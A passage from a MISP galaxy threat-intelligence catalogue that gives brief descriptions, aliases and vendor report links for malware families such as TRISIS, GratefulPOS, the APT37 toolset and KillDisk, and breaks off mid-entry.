https://www.bleepingcomputer.com/news/security/wp-vcd-wordpress-malware-spreads-via-nulled-wordpress-themes/

MoneyTaker 5.0

malicious program for auto replacement of payment data in AWS CBR

The tag is: *misp-galaxy:tool="MoneyTaker 5.0"*

Table 24567. Table References

Links
https://www.group-ib.com/blog/moneytaker

Quant Loader

Described as a "professional exe loader / dll dropper" Quant Loader is in fact a very basic trojan downloader. It began being advertised on September 1, 2016 on various Russian underground forums.

The tag is: *misp-galaxy:tool="Quant Loader"*

View relationships graph

Quant Loader has relationships with:

- similar: misp-galaxy:malpedia="QuantLoader" with estimative-language:likelihood-probability="likely"

Table 24568. Table References

Links
https://www.bleepingcomputer.com/news/security/quant-loader-is-now-bundled-with-other-crappy-malware/
https://blogs.forcepoint.com/security-labs/locky-distributor-uses-newly-released-quant-loader-sold-russian-underground
https://www.bleepingcomputer.com/news/security/worlds-largest-spam-botnet-finds-a-new-way-to-avoid-detection-for-now/

SSHDoor

The Secure Shell Protocol (SSH) is a very popular protocol used for secure data communication. It is widely used in the Unix world to manage remote servers, transfer files, etc. The modified SSH daemon described here, Linux/SSHDoor.A, is designed to steal usernames and passwords and allows remote access to the server via either an hardcoded password or SSH key.

The tag is: *misp-galaxy:tool="SSHDoor"*

View relationships graph

SSHDoor has relationships with:

- similar: misp-galaxy:malpedia="SSHDoor" with estimative-language:likelihood-probability="likely"

Table 24569. Table References

Links
https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/

TRISIS

(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric's Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.

The tag is: *misp-galaxy:tool="TRISIS"*

TRISIS is also known as:

- TRITON

Table 24570. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://dragos.com/blog/trisis/TRISIS-01.pdf

OSX.Pirrit

macOS adware strain

The tag is: *misp-galaxy:tool="OSX.Pirrit"*

OSX.Pirrit is also known as:

- OSX/Pirrit

Table 24571. Table References

Links
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf

https://www2.cybereason.com/research-osx-pirrit-mac-adware
https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf

GratefulPOS

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: *misp-galaxy:tool="GratefulPOS"*

View relationships graph

GratefulPOS has relationships with:

- similar: misp-galaxy:banker="GratefulPOS" with estimative-language:likelihood-probability="likely"

Table 24572. Table References

Links
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

PRILEX

Prilex malware steals the information of the infected ATM's users. In this case, it was a Brazilian bank, but consider the implications of such an attack in your region, whether you're a customer or the bank.

The tag is: *misp-galaxy:tool="PRILEX"*

View relationships graph

PRILEX has relationships with:

- similar: misp-galaxy:malpedia="Prilex" with estimative-language:likelihood-probability="almost-certain"

Table 24573. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/

CUTLET MAKER

Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.

The tag is: *misp-galaxy:tool="CUTLET MAKER"*

Table 24574. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:tool="Satori"*

Satori is also known as:

- Okiru

View relationships graph

Satori has relationships with:

- similar: misp-galaxy:botnet="Satori" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"

Table 24575. Table References

Links
https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant

PowerSpritz

PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz

implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.

The tag is: *misp-galaxy:tool="PowerSpritz"*

View relationships graph

PowerSpritz has relationships with:

- similar: misp-galaxy:malpedia="PowerSpritz" with estimative-language:likelihood-probability="almost-certain"

Table 24576. Table References

Links
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

PowerRatankba

PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.

The tag is: *misp-galaxy:tool="PowerRatankba"*

View relationships graph

PowerRatankba has relationships with:

- similar: misp-galaxy:malpedia="PowerRatankba" with estimative-language:likelihood-probability="likely"

Table 24577. Table References

Links
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

Ratankba

In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign's platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.

The tag is: *misp-galaxy:tool="Ratankba"*

View relationships graph

Ratankba has relationships with:

- similar: misp-galaxy:malpedia="Ratankba" with estimative-language:likelihood-probability="almost-certain"

Table 24578. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/

USBStealer

USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid 2015.

The tag is: *misp-galaxy:tool="USBStealer"*

View relationships graph

USBStealer has relationships with:

- similar: misp-galaxy:mitre-malware="USBStealer - S0136" with estimative-language:likelihood-probability="likely"

Table 24579. Table References

Links
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

Downdelph

Downdelph is a lightweight downloader developed in the Delphi programming language. As we already mentioned in our white paper, its period of activity was from November 2013 to September 2015 and there have been no new variants seen since.

The tag is: *misp-galaxy:tool="Downdelph"*

View relationships graph

Downdelph has relationships with:

- similar: misp-galaxy:mitre-malware="Downdelph - S0134" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"

Table 24580. Table References

Links
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

CoinMiner

Monero-mining malware

The tag is: *misp-galaxy:tool="CoinMiner"*

View relationships graph

CoinMiner has relationships with:

- similar: misp-galaxy:malpedia="Monero Miner" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Coinminer" with estimative-language:likelihood-probability="almost-certain"

Table 24581. Table References

Links
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/

FruitFly

A fully-featured backdoor, designed to perversely spy on Mac users

The tag is: *misp-galaxy:tool="FruitFly"*

View relationships graph

FruitFly has relationships with:

- similar: misp-galaxy:malpedia="FruitFly" with estimative-language:likelihood-probability="likely"

Table 24582. Table References

Links
https://objective-see.com/blog/blog_0x25.html#FruitFly

MacDownloader

Iranian macOS exfiltration agent, targeting the 'defense industrial base' and human rights advocates.

The tag is: *misp-galaxy:tool="MacDownloader"*

MacDownloader is also known as:

- iKitten

View relationships graph

MacDownloader has relationships with:

- similar: misp-galaxy:malpedia="MacDownloader" with estimative-language:likelihood-probability="likely"

Table 24583. Table References

Links
https://objective-see.com/blog/blog_0x25.html#MacDownloader

Empyre

The open-source macOS backdoor, 'Empye', maliciously packaged into a macro'd Word document

The tag is: *misp-galaxy:tool="Empyre"*

Empyre is also known as:

- Empye

Table 24584. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Empyre

Proton

A fully-featured macOS backdoor, designed to collect and exfiltrate sensitive user data such as 1Password files, browser login data, and keychains.

The tag is: *misp-galaxy:tool="Proton"*

Table 24585. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Proton

Mughthesec

Adware which hijacks a macOS user's homepage to redirect search queries.

The tag is: *misp-galaxy:tool="Mughthesec"*

View relationships graph

Mughthesec has relationships with:

- similar: misp-galaxy:malpedia="Mughthesec" with estimative-language:likelihood-probability="likely"

Table 24586. Table References

Links
https://objective-see.com/blog/blog_0x25.html

Pwnet

A macOS crypto-currency miner, distributed via a trojaned 'CS-GO' hack.

The tag is: *misp-galaxy:tool="Pwnet"*

View relationships graph

Pwnet has relationships with:

- similar: misp-galaxy:malpedia="Pwnet" with estimative-language:likelihood-probability="likely"

Table 24587. Table References

Links
https://objective-see.com/blog/blog_0x25.html

CpuMeaner

A macOS crypto-currency mining trojan.

The tag is: *misp-galaxy:tool="CpuMeaner"*

View relationships graph

CpuMeaner has relationships with:

- similar: misp-galaxy:malpedia="CpuMeaner" with estimative-language:likelihood-probability="likely"

Table 24588. Table References

Links
https://objective-see.com/blog/blog_0x25.html

Travle

The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases.

We believe that Travle could be a successor to the NetTraveler family.

The tag is: *misp-galaxy:tool="Travle"*

Travle is also known as:

- PYLOT

Table 24589. Table References

Links
https://securelist.com/travle-aka-pylot-backdoor-hits-russian-speaking-targets/83455/

Digmine

Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user's Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account's friends. The abuse of Facebook is limited to propagation for now, but it wouldn't be implausible for attackers to hijack the Facebook account itself down the line. This functionality's code is pushed from the command-and-control (C&C) server, which means it can be updated.

The tag is: *misp-galaxy:tool="Digmine"*

Table 24590. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/digmine-cryptocurrency-miner-spreading-via-facebook-messenger/

TSCookie

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter "TSCookieRAT"). Downloaded modules only runs on memory.

The tag is: *misp-galaxy:tool="TSCookie"*

View relationships graph

TSCookie has relationships with:

- similar: misp-galaxy:malpedia="PLEAD (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PLEAD" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TSCookie" with estimative-language:likelihood-probability="almost-certain"

Table 24591. Table References

Links
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html

Exforel

Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver Interface Specification (NDIS) level.

The tag is: *misp-galaxy:tool="Exforel"*

Table 24592. Table References

Links
http://news.softpedia.com/news/Exforel-Backdoor-Implemented-at-NDIS-Level-to-Be-More-Stealthy-Experts-Say-313567.shtml

Rotinom

W32.Rotinom is a worm that spreads by copying itself to removable drives.

The tag is: *misp-galaxy:tool="Rotinom"*

Table 24593. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-011117-0057-99

Aurora

You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.

The tag is: *misp-galaxy:tool="Aurora"*

Aurora is also known as:

- Hydraq

View relationships graph

Aurora has relationships with:

- similar: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"

Table 24594. Table References

Links
https://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit
https://www.symantec.com/connect/blogs/hydraq-aurora-attackers-back
https://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions

Cheshire Cat

Oldest Cheshire Cat malware compiled in 2002. It's a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it's very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.

The tag is: *misp-galaxy:tool="Cheshire Cat"*

Table 24595. Table References

Links
https://www.youtube.com/watch?v=u2Ry9HTBbZI
https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/
https://www.peerlyst.com/posts/hack-lu-2016-recap-interesting-malware-no-i-m-not-kidding-by-marion-marschalek-claus-cramon

Downloader-FGO

Downloader-FGO is a trojan that comes hidden in malicious programs. Once you install the source (carrier) program, this trojan attempts to gain "root" access (administrator level access) to your computer without your knowledge

The tag is: *misp-galaxy:tool="Downloader-FGO"*

Downloader-FGO is also known as:

- Win32:Malware-gen
- Generic30.ASYL (Trojan horse)
- TR/Agent.84480.85
- Trojan.Generic.8627031
- Trojan:Win32/Sisproc
- SB/Malware
- Trj/CI.A
- Mal/Behav-112
- Trojan.Spuler
- TROJ_KAZY.SM1
- Win32/FakePPT_i

Table 24596. Table References

Links
https://www.solvusoft.com/en/malware/trojans/downloader-fgo/

miniFlame

Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says. Kaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed "miniFlame." While capable of working with Flame and Gauss, miniFlame is a "small, fully functional espionage module designed for data theft and direct access to infected systems," Kaspersky said.

The tag is: *misp-galaxy:tool="miniFlame"*

Table 24597. Table References

Links
https://securelist.com/miniflame-aka-spe-elvis-and-his-friends-5/31730/
https://www.csoonline.com/article/2132422/malware-cybercrime/cyberespionage-malware—miniflame—discovered.html

GHOTEX

PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.

The tag is: *misp-galaxy:tool="GHOTEX"*

Table 24598. Table References

Links
https://www.trendmicro.com/vinfo/dk/threat-encyclopedia/archive/malware/pe_ghotex.a-o

Shipup

Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.

The tag is: *misp-galaxy:tool="Shipup"*

Table 24599. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Shipup.G
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FShipup.K
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Shipup.A
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32}ShipUp-F/detailed-analysis.aspx
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}ShipUp-A/detailed-analysis.aspx

Neuron

Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.

The tag is: *misp-galaxy:tool="Neuron"*

View relationships graph

Neuron has relationships with:

- similar: misp-galaxy:malpedia="Neuron" with estimative-language:likelihood-probability="likely"

Table 24600. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf

Nautilus

Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk

The tag is: *misp-galaxy:tool="Nautilus"*

View relationships graph

Nautilus has relationships with:

- similar: misp-galaxy:malpedia="Nautilus" with estimative-language:likelihood-probability="likely"

Table 24601. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf

Gamut Botnet

Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.

The tag is: *misp-galaxy:tool="Gamut Botnet"*

Table 24602. Table References

Links
https://www.bleepingcomputer.com/news/security/necurs-and-gamut-botnets-account-for-97-percent-of-the-internets-spam-emails/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Gamut-Spambot-Analysis/

CORALDECK

CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives

The tag is: *misp-galaxy:tool="CORALDECK"*

CORALDECK is also known as:

- APT.InfoStealer.Win.CORALDECK
- FE_APT_InfoStealer_Win_CORALDECK_1

View relationships graph

CORALDECK has relationships with:

- similar: misp-galaxy:mitre-malware="CORALDECK - S0212" with estimative-language:likelihood-probability="likely"

Table 24603. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

DOGCALL

DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.

The tag is: *misp-galaxy:tool="DOGCALL"*

DOGCALL is also known as:

- FE_APT_RAT_DOGCALL
- FE_APT_Backdoor_Win32_DOGCALL_1
- APT.Backdoor.Win.DOGCALL

View relationships graph

DOGCALL has relationships with:

- similar: misp-galaxy:mitre-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="likely"

Table 24604. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

GELCAPSULE

GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.

The tag is: *misp-galaxy:tool="GELCAPSULE"*

GELCAPSULE is also known as:

- FE_APT_Downloader_Win32_GELCAPSULE_1

Table 24605. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

HAPPYWORK

HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea.

The tag is: *misp-galaxy:tool="HAPPYWORK"*

HAPPYWORK is also known as:

- FE_APT_Downloader_HAPPYWORK
- FE_APT_Exploit_HWP_Happy
- Downloader.APT.HAPPYWORK

View relationships graph

HAPPYWORK has relationships with:

- similar: misp-galaxy:mitre-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="likely"

Table 24606. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

KARAE

Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure.

The tag is: *misp-galaxy:tool="KARAE"*

KARAE is also known as:

- FE_APT_Backdoor_Karae_enc
- FE_APT_Backdoor_Karae
- Backdoor.APT.Karae

View relationships graph

KARAE has relationships with:

- similar: misp-galaxy:mitre-malware="KARAE - S0215" with estimative-language:likelihood-probability="likely"

Table 24607. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

MILKDROP

MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.

The tag is: *misp-galaxy:tool="MILKDROP"*

MILKDROP is also known as:

- FE_Trojan_Win32_MILKDROP_1

Table 24608. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

POORAIM

POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.

The tag is: *misp-galaxy:tool="POORAIM"*

POORAIM is also known as:

- Backdoor.APT.POORAIM

View relationships graph

POORAIM has relationships with:

- similar: misp-galaxy:mitre-malware="POORAIM - S0216" with estimative-language:likelihood-probability="likely"

Table 24609. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RICECURRY

RICECURRY is a Javascript based profiler used to fingerprint a victim's web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.

The tag is: *misp-galaxy:tool="RICECURRY"*

RICECURRY is also known as:

- Exploit.APT.RICECURRY

Table 24610. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RUHAPPY

RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the

string 'Are you Happy?' is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.

The tag is: *misp-galaxy:tool="RUHAPPY"*

RUHAPPY is also known as:

- FE_APT_Trojan_Win32_RUHAPPY_1

Table 24611. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SHUTTERSPEED

SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.

The tag is: *misp-galaxy:tool="SHUTTERSPEED"*

SHUTTERSPEED is also known as:

- FE_APT_Backdoor_SHUTTERSPEED
- APT.Backdoor.SHUTTERSPEED

View relationships graph

SHUTTERSPEED has relationships with:

- similar: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="likely"

Table 24612. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SLOWDRIFT

SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads.Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in

the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.

The tag is: *misp-galaxy:tool="SLOWDRIFT"*

SLOWDRIFT is also known as:

- FE_APT_Downloader_Win_SLOWDRIFT_1
- FE_APT_Downloader_Win_SLOWDRIFT_2
- APT.Downloader.SLOWDRIFT

View relationships graph

SLOWDRIFT has relationships with:

- similar: misp-galaxy:mitre-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="likely"

Table 24613. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SOUNDWAVE

SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\Temp\HncDownload\YYYYMMDDHHMMSS.log.

The tag is: *misp-galaxy:tool="SOUNDWAVE"*

SOUNDWAVE is also known as:

- FE_APT_HackTool_Win32_SOUNDWAVE_1

Table 24614. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

ZUMKONG

ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru.

The tag is: *misp-galaxy:tool="ZUMKONG"*

ZUMKONG is also known as:

- FE_APT_Trojan_Zumkong
- Trojan.APT.Zumkong

Table 24615. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

WINERACK

WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes.

The tag is: *misp-galaxy:tool="WINERACK"*

WINERACK is also known as:

- FE_APT_Backdoor_WINERACK
- Backdoor.APT.WINERACK

View relationships graph

WINERACK has relationships with:

- similar: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="likely"

Table 24616. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RoyalCli

The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we'll get to this later.

The tag is: *misp-galaxy:tool="RoyalCli"*

View relationships graph

RoyalCli has relationships with:

- similar: misp-galaxy:malpedia="RoyalCli" with estimative-language:likelihood-probability="likely"

Table 24617. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

RoyalDNS

The tag is: *misp-galaxy:tool="RoyalDNS"*

Table 24618. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

SHARPKNOT

The tag is: *misp-galaxy:tool="SHARPKNOT"*

View relationships graph

SHARPKNOT has relationships with:

- similar: misp-galaxy:malpedia="SHARPKNOT" with estimative-language:likelihood-probability="likely"

Table 24619. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf

KillDisk Wiper

KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine's energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don't store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.

The tag is: *misp-galaxy:tool="KillDisk Wiper"*

KillDisk Wiper is also known as:

- KillDisk

View relationships graph

KillDisk Wiper has relationships with:

